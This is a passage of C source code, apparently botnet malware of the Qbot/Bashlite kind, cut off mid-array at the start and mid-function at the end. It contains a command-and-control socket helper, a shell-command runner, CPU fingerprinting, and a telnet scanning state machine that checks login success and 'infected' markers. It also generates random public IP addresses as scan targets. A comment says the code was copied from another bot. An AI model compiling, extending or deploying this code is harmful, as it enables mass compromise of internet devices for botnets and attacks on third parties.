91,191,191,191,191,201,27,142,255,201,201,121,96,136,184,180,226,52,52,68,71,71,75,75,75,112,114,117,177,227,236,251,67,67,67,243,243,243,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,149,169,55,43,44,44,44,44,44,44,44,44,44,62,109,150,213,216,229,103,103,103,103,103,156,156,156,156,156,156,156,156,156,156,156,156,156,250,51,93,93,0,0,0,1,135,163,163,163,23,23,23,23,23,23,23,23,23,23,42,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,1,1,143,158,158,158,158,143,65,82,82,230,230,230,230,239,239,239,239,245,245,245,245,245,245,245,245,245,245,245,245,245,245,245,245,252,252,252,252,252,115,115,120,120,121,121,121,127,127,252,252,252,252,39,42,42,42,42,48,48,48,48,48,48,48,48,63,63,63,63,144,144,144,144,144,144,145,145,145,145,105,137,141,141,141,141,141,141,141,203,233,120,95,95,95,177,7,7,7,7,85,176,108,108,209,35,35,35,35,94,94,139,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,126,126,126,126,250,250,250,82,52,52,53,53,53,55,55,71,12,221,24,104,104,104,104,104,104,104,104,104,104,104,104,104,104,104,104,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,109,109,109,109,173,173,173,173,173,173,173,173,173,95,95,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,117,147,147,147,147,147,204,225,225,225,225,225,225,225,225,225,225,234,234,234,234,234,234,234,234,234,234,234,234,234,234,234,234,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,251,3,200,248,140,100,100,100,100,103,190,29,70,152,152,152,152,152,210,37,37,37,37,37,37,37,46,46,53,53,53,69,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9};
  231. int rangesC3[] = {245,80,29,117,198,199,28,29,30,184,185,187,250,64,67,220,60,61,63,252,253,254,54,81,6,253,170,147,41,43,218,220,80,211,89,100,101,103,96,97,197,157,49,80,84,242,111,193,192,105,66,171,62,45,1,10,12,14,2,25,3,32,34,35,4,46,51,56,60,61,63,69,78,8,80,86,89,9,0,120,121,122,13,130,131,139,14,140,141,15,16,164,2,20,22,224,225,226,228,231,232,233,234,235,236,237,238,28,29,31,5,6,72,75,76,77,82,9,34,35,52,144,166,242,104,105,106,107,108,109,111,170,171,224,225,226,1,100,101,102,103,104,105,106,107,108,109,11,110,112,113,115,116,118,120,121,122,125,126,127,128,13,142,143,16,168,169,17,171,172,173,176,178,179,18,19,20,21,24,244,247,25,26,27,28,29,30,31,32,34,35,37,60,66,8,96,97,98,99,201,202,203,204,205,206,207,232,32,33,36,38,16,17,19,22,23,82,155,130,184,237,48,7,193,233,162,46,141,109,84,221,119,144,104,191,213,228,185,242,188,26,36,227,131,204,217,130,155,215,100,107,123,127,149,161,171,191,214,34,37,38,59,74,9,122,53,133,51,32,227,232,233,234,235,249,253,254,92,110,131,58,25,146,112,114,120,121,124,172,173,204,206,208,209,210,212,216,217,218,219,223,64,166,253,98,170,177,67,133,117,2,21,61,11,151,161,186,188,212,214,240,28,73,69,126,127,128,131,136,154,158,168,186,249,34,35,76,78,86,90,95,130,53,90,103,210,236,69,2,160,128,138,172,173,174,175,68,69,70,71,136,137,138,139,148,149,150,151,156,157,158,159,208,209,210,211,25,30,31,33,35,140,143,56,58,188,190,191,41,43,180,181,182,183,196,27,29,42,59,144,155,156,158,189,195,203,208,0,131,198,232,152,207,223,248,28,98,109,149,52,57,43,156,145,179,184,33,37,67,92,78,203,240,2,207,62,237,173,178,187,190,161,4,211,219,2,146,18,216,8,105,106,215,10,110,111,114,116,117,12,120,124,128,129,130,133,136,141,143,144,150,151,153,159,16,160,163,169,17,170,173,174,177,178,179,18,181,182,184,187,189,191,194,196,197,198,2,20,200,203,204,206,207,209,210,22,24,243,244,245,246,247,248,25,251,252,254,26,32,34,35,36,37,38,39,4,45,47,5,50,51,52,55,56,58,60,62,63,65,66,69,9,98,10,100,102,103,106,112,128,131,135,137,139,141,15,150,152,167,17,171,174,175,176,177,178,179,18,182,187,188,189,193,194,195,197,2,20,213,214,215,217,218,223,225,226,227,228,23,230,233,237,239,28,29,3,31,33,34,35,37,38,4,41,45,46,47,49,50,52,54,55,59,6,62,66,7,70,71,76,8,81,83,84,87,89,9,91,99,106,108,11,110,115,116,117,12,126,127,128,13,150,152,154,158,159,16,160,162,164,165,167,168,170,172,174,175,184,185,19,191,192,193,194,200,202,203,204,208,21,213,214,216,223,225,227,231,237,239,27,28,30,33,45,46,47,48,51,54,59,61,74,76,77,78,81,84,86,87,95,17,37,74,85,155,157,5,88,52,82,11,15,79,214,240,116,96,3,3,100,106,109,110,113,115,139,172,185,2,211,224,231,38,48,67,1,100,101,103,105,106,108,116,12,121,122,123,128,13,131,135,137,139,14,140,141,144,146,148,150,151,153,154,155,157,158,159,16,163,168,169,17,172,175,177,178,179,18,181,182,185,187,188,189,19,191,193,195,196,199,20,200,203,211,212,214,217,220,222,224,226,229,230,231,233,234,236,237,238,243,245,249,25,254,27,32,34,36,37,39,4,41,43,44,46,49,50,52,53,54,57,59,63,64,65,69,75,76,77,78,79,8,80,81,83,84,85,89,90,93,94,95,98,99,117,31,7,96,108,145,159,187,195,196,242,247,71,160,199,0,100,106,107,11,110,111,112,113,115,116,117,119,132,133,136,14,153,158,16,163,2,206,218,22,223,226,228,234,243,244,246,247,248,249,251,254,26,6,73,98,99,186,183,213,215,228,237,75,209,210,215,225,226,227,229,230,234,242,112,156,158,182,186,189,195,2,211,219,223,27,63,71,90,94,10,100,101,102,105,107,11,110,112,115,116,118,120,122,125,126,130,132,133,134,138,144,147,148,152,160,161,162,166,167,169,179,182,184,185,191,195,20,205,207,208,209,210,212,215,218,219,22,220,222,223,226,227,23,236,24,243,245,27,29,34,37,39,4,41,43,45,5,50,51,55,56,58,59,61,62,64,65,67,69,7,71,76,77,8,85,87,9,93,96,98,10,100,102,110,112,113,114,117,118,122,13,130,133,134,137,138,140,160,162,163,164,165,166,168,17,170,173,179,18,180,184,19,2,247,249,252,29,3,49,50,52,54,6,7,85,92,96,97,98,0,10,104,105,106,107,114,117,127,14,163,166,168,174,177,181,182,183,185,200,206,208,214,220,222,224,226,232,233,24,244,246,248,253,28,29,3,30,31,37,38,4,40,44,45,48,50,52,53,55,56,58,59,60,61,62,63,64,68,7,70,8,84,89,99,160,149,234,126,130,148,156,212,224,247,253,157,244,13,15,32,57,9,44,123,151,165,231,50,70,9,168,169,139,237,239,31,10,101,102,104,108,109,112,117,120,121,123,124,126,128,129,133,136,137,138,139,140,144,145,156,157,158,159,161,167,168,172,174,176,178,179,181,182,185,190,191,192,198,200,207,227,233,239,242,244,245,248,250,253,28,34,36,37,38,39,45,52,57,6,62,65,67,70,74,76,78,79,80,81,86,95};
  232.  
  233.  
  234.  
  235. #define PHI 0x9e3779b9
  236. static uint32_t Q[4096], c = 362436;
  237. int dupppp = 0;
  238. int rangechoice = 1;
  239.  
  240.  
  241. void init_rand(uint32_t x)
  242. {
  243. int i;
  244.  
  245. Q[0] = x;
  246. Q[1] = x + PHI;
  247. Q[2] = x + PHI + PHI;
  248.  
  249. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  250. }
  251.  
  252. uint32_t rand_cmwc(void)
  253. {
  254. uint64_t t, a = 18782LL;
  255. static uint32_t i = 4095;
  256. uint32_t x, r = 0xfffffffe;
  257. i = (i + 1) & 4095;
  258. t = a * Q[i] + c;
  259. c = (uint32_t)(t >> 32);
  260. x = t + c;
  261. if (x < c) {
  262. x++;
  263. c++;
  264. }
  265. return (Q[i] = r - x);
  266. }
  267.  
  268. void trim(char *str)
  269. {
  270. int i;
  271. int begin = 0;
  272. int end = strlen(str) - 1;
  273.  
  274. while (isspace(str[begin])) begin++;
  275.  
  276. while ((end >= begin) && isspace(str[end])) end--;
  277. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  278.  
  279. str[i - begin] = '\0';
  280. }
  281.  
  282. static void printchar(unsigned char **str, int c)
  283. {
  284. if (str) {
  285. **str = c;
  286. ++(*str);
  287. }
  288. else (void)write(1, &c, 1);
  289. }
  290.  
  291. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  292. {
  293. register int pc = 0, padchar = ' ';
  294.  
  295. if (width > 0) {
  296. register int len = 0;
  297. register const unsigned char *ptr;
  298. for (ptr = string; *ptr; ++ptr) ++len;
  299. if (len >= width) width = 0;
  300. else width -= len;
  301. if (pad & PAD_ZERO) padchar = '0';
  302. }
  303. if (!(pad & PAD_RIGHT)) {
  304. for ( ; width > 0; --width) {
  305. printchar (out, padchar);
  306. ++pc;
  307. }
  308. }
  309. for ( ; *string ; ++string) {
  310. printchar (out, *string);
  311. ++pc;
  312. }
  313. for ( ; width > 0; --width) {
  314. printchar (out, padchar);
  315. ++pc;
  316. }
  317.  
  318. return pc;
  319. }
  320.  
  321. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  322. {
  323. unsigned char print_buf[PRINT_BUF_LEN];
  324. register unsigned char *s;
  325. register int t, neg = 0, pc = 0;
  326. register unsigned int u = i;
  327.  
  328. if (i == 0) {
  329. print_buf[0] = '0';
  330. print_buf[1] = '\0';
  331. return prints (out, print_buf, width, pad);
  332. }
  333.  
  334. if (sg && b == 10 && i < 0) {
  335. neg = 1;
  336. u = -i;
  337. }
  338.  
  339. s = print_buf + PRINT_BUF_LEN-1;
  340. *s = '\0';
  341.  
  342. while (u) {
  343. t = u % b;
  344. if( t >= 10 )
  345. t += letbase - '0' - 10;
  346. *--s = t + '0';
  347. u /= b;
  348. }
  349.  
  350. if (neg) {
  351. if( width && (pad & PAD_ZERO) ) {
  352. printchar (out, '-');
  353. ++pc;
  354. --width;
  355. }
  356. else {
  357. *--s = '-';
  358. }
  359. }
  360.  
  361. return pc + prints (out, s, width, pad);
  362. }
  363.  
  364. static int print(unsigned char **out, const unsigned char *format, va_list args )
  365. {
  366. register int width, pad;
  367. register int pc = 0;
  368. unsigned char scr[2];
  369.  
  370. for (; *format != 0; ++format) {
  371. if (*format == '%') {
  372. ++format;
  373. width = pad = 0;
  374. if (*format == '\0') break;
  375. if (*format == '%') goto out;
  376. if (*format == '-') {
  377. ++format;
  378. pad = PAD_RIGHT;
  379. }
  380. while (*format == '0') {
  381. ++format;
  382. pad |= PAD_ZERO;
  383. }
  384. for ( ; *format >= '0' && *format <= '9'; ++format) {
  385. width *= 10;
  386. width += *format - '0';
  387. }
  388. if( *format == 's' ) {
  389. register char *s = (char *)va_arg( args, int );
  390. pc += prints (out, s?s:"(null)", width, pad);
  391. continue;
  392. }
  393. if( *format == 'd' ) {
  394. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  395. continue;
  396. }
  397. if( *format == 'x' ) {
  398. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  399. continue;
  400. }
  401. if( *format == 'X' ) {
  402. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  403. continue;
  404. }
  405. if( *format == 'u' ) {
  406. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  407. continue;
  408. }
  409. if( *format == 'c' ) {
  410. scr[0] = (unsigned char)va_arg( args, int );
  411. scr[1] = '\0';
  412. pc += prints (out, scr, width, pad);
  413. continue;
  414. }
  415. }
  416. else {
  417. out:
  418. printchar (out, *format);
  419. ++pc;
  420. }
  421. }
  422. if (out) **out = '\0';
  423. va_end( args );
  424. return pc;
  425. }
  426.  
  427. int zprintf(const unsigned char *format, ...)
  428. {
  429. va_list args;
  430. va_start( args, format );
  431. return print( 0, format, args );
  432. }
  433.  
  434. int szprintf(unsigned char *out, const unsigned char *format, ...)
  435. {
  436. va_list args;
  437. va_start( args, format );
  438. return print( &out, format, args );
  439. }
  440.  
  441.  
  442. int sockprintf(int sock, char *formatStr, ...)
  443. {
  444. unsigned char *textBuffer = malloc(2048);
  445. memset(textBuffer, 0, 2048);
  446. char *orig = textBuffer;
  447. va_list args;
  448. va_start(args, formatStr);
  449. print(&textBuffer, formatStr, args);
  450. va_end(args);
  451. orig[strlen(orig)] = '\n';
  452. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  453. free(orig);
  454. return q;
  455. }
  456.  
  457. static int *fdopen_pids;
  458.  
  459. int fdpopen(unsigned char *program, register unsigned char *type)
  460. {
  461. register int iop;
  462. int pdes[2], fds, pid;
  463.  
  464. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  465.  
  466. if (pipe(pdes) < 0) return -1;
  467. if (fdopen_pids == NULL) {
  468. if ((fds = getdtablesize()) <= 0) return -1;
  469. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  470. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  471. }
  472.  
  473. switch (pid = vfork())
  474. {
  475. case -1:
  476. close(pdes[0]);
  477. close(pdes[1]);
  478. return -1;
  479. case 0:
  480. if (*type == 'r') {
  481. if (pdes[1] != 1) {
  482. dup2(pdes[1], 1);
  483. close(pdes[1]);
  484. }
  485. close(pdes[0]);
  486. } else {
  487. if (pdes[0] != 0) {
  488. (void) dup2(pdes[0], 0);
  489. (void) close(pdes[0]);
  490. }
  491. (void) close(pdes[1]);
  492. }
  493. execl("/bin/sh", "sh", "-c", program, NULL);
  494. _exit(127);
  495. }
  496. if (*type == 'r') {
  497. iop = pdes[0];
  498. (void) close(pdes[1]);
  499. } else {
  500. iop = pdes[1];
  501. (void) close(pdes[0]);
  502. }
  503. fdopen_pids[iop] = pid;
  504. return (iop);
  505. }
  506.  
  507. int fdpclose(int iop)
  508. {
  509. register int fdes;
  510. sigset_t omask, nmask;
  511. int pstat;
  512. register int pid;
  513.  
  514. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  515. (void) close(iop);
  516. sigemptyset(&nmask);
  517. sigaddset(&nmask, SIGINT);
  518. sigaddset(&nmask, SIGQUIT);
  519. sigaddset(&nmask, SIGHUP);
  520. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  521. do {
  522. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  523. } while (pid == -1 && errno == EINTR);
  524. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  525. fdopen_pids[fdes] = 0;
  526. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  527. }
  528.  
  529. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  530. {
  531. int got = 1, total = 0;
  532. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  533. return got == 0 ? NULL : buffer;
  534. }
  535.  
  536. static const long hextable[] = {
  537. [0 ... 255] = -1,
  538. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  539. ['A'] = 10, 11, 12, 13, 14, 15,
  540. ['a'] = 10, 11, 12, 13, 14, 15
  541. };
  542.  
  543. long parseHex(unsigned char *hex)
  544. {
  545. long ret = 0;
  546. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  547. return ret;
  548. }
  549.  
  550. int wildString(const unsigned char* pattern, const unsigned char* string) {
  551. switch(*pattern)
  552. {
  553. case '\0': return *string;
  554. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  555. case '?': return !(*string && !wildString(pattern+1, string+1));
  556. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  557. }
  558. }
  559.  
  560. int getHost(unsigned char *toGet, struct in_addr *i)
  561. {
  562. struct hostent *h;
  563. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  564. return 0;
  565. }
  566.  
  567. void uppercase(unsigned char *str)
  568. {
  569. while(*str) { *str = toupper(*str); str++; }
  570. }
  571.  
  572. int getBogos(unsigned char *bogomips)
  573. {
  574. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  575. char linebuf[4096];
  576. while(fdgets(linebuf, 4096, cmdline) != NULL)
  577. {
  578. uppercase(linebuf);
  579. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  580. {
  581. unsigned char *pos = linebuf + 8;
  582. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  583. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  584. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  585. strcpy(bogomips, pos);
  586. close(cmdline);
  587. return 0;
  588. }
  589. memset(linebuf, 0, 4096);
  590. }
  591. close(cmdline);
  592. return 1;
  593. }
  594.  
  595. int getCores()
  596. {
  597. int totalcores = 0;
  598. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  599. char linebuf[4096];
  600. while(fdgets(linebuf, 4096, cmdline) != NULL)
  601. {
  602. uppercase(linebuf);
  603. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  604. memset(linebuf, 0, 4096);
  605. }
  606. close(cmdline);
  607. return totalcores;
  608.  
  609. }
  610.  
  611. void makeRandomStr(unsigned char *buf, int length)
  612. {
  613. int i = 0;
  614. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  615. }
  616.  
  617. int recvLine(int socket, unsigned char *buf, int bufsize)
  618. {
  619. memset(buf, 0, bufsize);
  620.  
  621. fd_set myset;
  622. struct timeval tv;
  623. tv.tv_sec = 30;
  624. tv.tv_usec = 0;
  625. FD_ZERO(&myset);
  626. FD_SET(socket, &myset);
  627. int selectRtn, retryCount;
  628. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  629. while(retryCount < 10)
  630. {
  631. sockprintf(mainCommSock, "PING");
  632.  
  633. tv.tv_sec = 30;
  634. tv.tv_usec = 0;
  635. FD_ZERO(&myset);
  636. FD_SET(socket, &myset);
  637. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  638. retryCount++;
  639. continue;
  640. }
  641.  
  642. break;
  643. }
  644. }
  645.  
  646. unsigned char tmpchr;
  647. unsigned char *cp;
  648. int count = 0;
  649.  
  650. cp = buf;
  651. while(bufsize-- > 1)
  652. {
  653. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  654. *cp = 0x00;
  655. return -1;
  656. }
  657. *cp++ = tmpchr;
  658. if(tmpchr == '\n') break;
  659. count++;
  660. }
  661. *cp = 0x00;
  662.  
  663. zprintf("recv: %s\n", cp);
  664.  
  665. return count;
  666. }
  667. /* Lets just call this area the shit you ripped from dans bot */
  668. struct telstate_t
  669. {
  670. int fd;
  671. unsigned int ip;
  672. unsigned char state;
  673. unsigned char complete;
  674. unsigned char usernameInd;
  675. unsigned char passwordInd;
  676. unsigned char tempDirInd;
  677. unsigned int totalTimeout;
  678. unsigned short bufUsed;
  679. char *sockbuf;
  680. };
  681. const char* get_telstate_host(struct telstate_t* telstate)
  682. {
  683. struct in_addr in_addr_ip;
  684. in_addr_ip.s_addr = telstate->ip;
  685. return inet_ntoa(in_addr_ip);
  686. }
  687.  
  688. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  689. {
  690. int num_bytes, i;
  691. memset(buffer, 0, buf_size);
  692. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  693.  
  694. if(buffer[0] == 0xFF)
  695. {
  696. negotiate(fd, buffer, 3);
  697. }
  698.  
  699. if(contains_string(buffer, strings))
  700. {
  701. return 1;
  702. }
  703.  
  704. return 0;
  705. }
  706. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  707. {
  708. fd_set read_set;
  709. struct timeval tv;
  710. tv.tv_sec = 0;
  711. tv.tv_usec = timeout_usec;
  712.  
  713. FD_ZERO(&read_set);
  714. FD_SET(fd, &read_set);
  715.  
  716. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  717. return 0;
  718.  
  719. return recv(fd, buffer, buf_size, 0);
  720. }
  721. void advance_state(struct telstate_t* telstate, int new_state)
  722. {
  723. if(new_state == 0)
  724. {
  725. close(telstate->fd);
  726. }
  727.  
  728. telstate->totalTimeout = 0;
  729. telstate->state = new_state;
  730. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  731. }
  732.  
  733. void reset_telstate(struct telstate_t* telstate)
  734. {
  735. advance_state(telstate, 0);
  736. telstate->complete = 1;
  737. }
  738. int contains_success(char* buffer)
  739. {
  740. return contains_string(buffer, successes);
  741. }
  742. int contains_fail(char* buffer)
  743. {
  744. return contains_string(buffer, fails);
  745. }
  746.  
  747. int contains_response(char* buffer)
  748. {
  749. return contains_success(buffer) || contains_fail(buffer);
  750. }
  751. int contains_string(char* buffer, char** strings)
  752. {
  753. int num_strings = 0, i = 0;
  754.  
  755. for(num_strings = 0; strings[++num_strings] != 0; );
  756.  
  757. for(i = 0; i < num_strings; i++)
  758. {
  759. if(strcasestr(buffer, strings[i]))
  760. {
  761. return 1;
  762. }
  763. }
  764.  
  765. return 0;
  766. }
  767.  
  768. int contains_infectmessage(char* buffer)
  769. {
  770. return contains_string(buffer, infected);
  771. }
  772.  
  773. int connectTimeout(int fd, char *host, int port, int timeout)
  774. {
  775. struct sockaddr_in dest_addr;
  776. fd_set myset;
  777. struct timeval tv;
  778. socklen_t lon;
  779.  
  780. int valopt;
  781. long arg = fcntl(fd, F_GETFL, NULL);
  782. arg |= O_NONBLOCK;
  783. fcntl(fd, F_SETFL, arg);
  784.  
  785. dest_addr.sin_family = AF_INET;
  786. dest_addr.sin_port = htons(port);
  787. if(getHost(host, &dest_addr.sin_addr)) return 0;
  788. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  789. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  790.  
  791. if (res < 0) {
  792. if (errno == EINPROGRESS) {
  793. tv.tv_sec = timeout;
  794. tv.tv_usec = 0;
  795. FD_ZERO(&myset);
  796. FD_SET(fd, &myset);
  797. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  798. lon = sizeof(int);
  799. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  800. if (valopt) return 0;
  801. }
  802. else return 0;
  803. }
  804. else return 0;
  805. }
  806.  
  807. arg = fcntl(fd, F_GETFL, NULL);
  808. arg &= (~O_NONBLOCK);
  809. fcntl(fd, F_SETFL, arg);
  810.  
  811. return 1;
  812. }
  813.  
  814. int listFork()
  815. {
  816. uint32_t parent, *newpids, i;
  817. parent = fork();
  818. if (parent <= 0) return parent;
  819. numpids++;
  820. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  821. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  822. newpids[numpids - 1] = parent;
  823. free(pids);
  824. pids = newpids;
  825. return parent;
  826. }
  827.  
  828. int negotiate(int sock, unsigned char *buf, int len)
  829. {
  830. unsigned char c;
  831.  
  832. switch (buf[1]) {
  833. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  834. case CMD_WILL:
  835. case CMD_WONT:
  836. case CMD_DO:
  837. case CMD_DONT:
  838. c = CMD_IAC;
  839. send(sock, &c, 1, MSG_NOSIGNAL);
  840. if (CMD_WONT == buf[1]) c = CMD_DONT;
  841. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  842. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  843. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  844. send(sock, &c, 1, MSG_NOSIGNAL);
  845. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  846. break;
  847.  
  848. default:
  849. break;
  850. }
  851.  
  852. return 0;
  853. }
  854.  
  855. int matchPrompt(char *bufStr)
  856. {
  857. char *prompts = ":>%$#\0";
  858.  
  859. int bufLen = strlen(bufStr);
  860. int i, q = 0;
  861. for(i = 0; i < strlen(prompts); i++)
  862. {
  863. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  864. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  865. }
  866.  
  867. return 0;
  868. }
  869.  
  870. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  871. {
  872. int bufferUsed = initialIndex, got = 0, found = 0;
  873. fd_set myset;
  874. struct timeval tv;
  875. tv.tv_sec = timeout;
  876. tv.tv_usec = timeoutusec;
  877. unsigned char *initialRead = NULL;
  878.  
  879. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  880. {
  881. FD_ZERO(&myset);
  882. FD_SET(fd, &myset);
  883. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  884. initialRead = buffer + bufferUsed;
  885. got = recv(fd, initialRead, 1, 0);
  886. if(got == -1 || got == 0) return 0;
  887. bufferUsed += got;
  888. if(*initialRead == 0xFF)
  889. {
  890. got = recv(fd, initialRead + 1, 2, 0);
  891. if(got == -1 || got == 0) return 0;
  892. bufferUsed += got;
  893. if(!negotiate(fd, initialRead, 3)) return 0;
  894. } else {
  895. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  896. }
  897. }
  898.  
  899. if(found) return 1;
  900. return 0;
  901. }
  902.  
  903. static uint8_t ipState[5] = {0};
  904. in_addr_t getRandomPublicIP()
  905. {
  906. if(ipState[1] > 0 && ipState[4] < 255)
  907. {
  908. ipState[4]++;
  909. char ip[16] = {0};
  910. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  911. return inet_addr(ip);
  912. }
  913.  
  914. ipState[0] = rand() % 255;
  915. ipState[1] = rand() % 255;
  916. ipState[2] = rand() % 255;
  917. ipState[3] = rand() % 255;
  918.  
  919. while(
  920. (ipState[0] == 0) ||
  921. (ipState[0] == 10) ||
  922. (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  923. (ipState[0] == 127) ||
  924. (ipState[0] == 169 && ipState[1] == 254) ||
  925. (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  926. (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  927. (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  928. (ipState[0] == 192 && ipState[1] == 168) ||
  929. (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  930. (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  931. (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  932. (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) ||
  933. (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) ||
  934. (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) ||
  935. (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) ||
  936. (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) ||
  937. (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) ||
  938. (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) ||
  939. (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) ||
